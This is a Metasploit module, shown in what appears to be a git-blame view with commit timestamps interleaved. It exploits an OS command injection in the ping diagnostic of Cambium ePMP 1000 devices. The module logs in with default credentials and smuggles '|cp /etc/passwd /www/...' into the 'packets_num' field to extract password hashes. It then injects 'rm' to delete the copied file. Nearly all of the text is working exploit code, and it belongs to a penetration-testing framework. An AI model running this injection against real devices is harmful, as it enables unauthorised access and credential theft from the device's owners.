metasploit-framework/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb

167 lines
5.2 KiB
Ruby
Raw Normal View History

2017-03-02 20:52:34 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2017-03-02 20:52:34 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::EPMP
2017-03-02 20:52:34 +00:00
def initialize(info = {})
2017-03-02 20:52:34 +00:00
super(update_info(info,
'Name' => "Cambium ePMP 1000 'ping' Password Hash Extractor (up to v2.5)",
2017-03-02 20:52:34 +00:00
'Description' => %{
2017-12-18 23:03:13 +00:00
This module exploits an OS Command Injection vulnerability in Cambium
ePMP 1000 (<v2.5) device management portal. It requires any one of the
following login credentials - admin/admin, installer/installer, home/home - to
dump system hashes.
2017-03-02 20:52:34 +00:00
},
'References' =>
[
2017-03-25 07:01:08 +00:00
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
2017-03-02 20:52:34 +00:00
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
2017-12-19 22:48:41 +00:00
'License' => MSF_LICENSE
)
2017-03-02 20:52:34 +00:00
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
2017-03-02 20:52:34 +00:00
end
def run_host(ip)
unless is_app_epmp1000?
return
end
end
# Command Execution
def hash_dump(config_uri, cookie)
random_filename = Rex::Text::rand_text_alpha(8)
command = 'cp /etc/passwd /www/' + random_filename
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}, 25
)
2017-03-02 20:52:34 +00:00
2017-03-06 19:51:07 +00:00
good_response = (
res &&
res.code == 200
2017-03-06 19:51:07 +00:00
)
2017-03-02 20:52:34 +00:00
2017-03-06 19:51:07 +00:00
if good_response
# retrieve passwd file
2017-03-02 20:52:34 +00:00
res = send_request_cgi(
{
'method' => 'GET',
'uri' => '/' + random_filename,
'cookie' => cookie,
2017-03-06 19:51:07 +00:00
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
2017-03-06 19:51:07 +00:00
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection' => 'close'
}
}, 25
2017-03-02 20:52:34 +00:00
)
2017-03-06 19:51:07 +00:00
good_response = (
res &&
res.code == 200 && res.body =~ /root/
2017-03-06 19:51:07 +00:00
)
if good_response
print_status("#{rhost}:#{rport} - Dumping password hashes")
2017-03-02 20:52:34 +00:00
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
print_status("#{rhost}:#{rport} - Hashes saved in: #{path}")
# clean up the passwd file from /www/
command = 'rm /www/' + random_filename
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
2017-03-02 20:52:34 +00:00
res = send_request_cgi(
{
'uri' => config_uri,
2017-03-06 19:51:07 +00:00
'method' => 'POST',
'cookie' => cookie,
2017-03-06 19:51:07 +00:00
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
2017-03-06 19:51:07 +00:00
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
2017-03-06 19:51:07 +00:00
'Connection' => 'close'
},
2017-03-02 20:52:34 +00:00
'vars_post' =>
{
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
2017-03-02 20:52:34 +00:00
}
}
)
else
check_file_uri = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + '/' + random_filename
print_error("#{rhost}:#{rport} - Could not retrieve hashes. Try manually by directly accessing #{check_file_uri}.")
2017-03-02 20:52:34 +00:00
end
else
print_error("#{rhost}:#{rport} - Failed to dump hashes.")
end
end
2017-03-02 20:52:34 +00:00
#
# Login & initiate Password Hash dump
#
2017-03-02 20:52:34 +00:00
def do_login(epmp_ver)
if epmp_ver < '2.5' # <3.4.1 uses login_1
cookie, _blah1, _blah2, _blah3, config_uri_ping = login_1(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
if cookie == 'skip' && config_uri_ping == 'skip'
return
else
hash_dump(config_uri_ping, cookie)
2017-03-02 20:52:34 +00:00
end
else
print_error('This ePMP version is not vulnerable. Module will not continue.')
2017-03-02 20:52:34 +00:00
end
end
end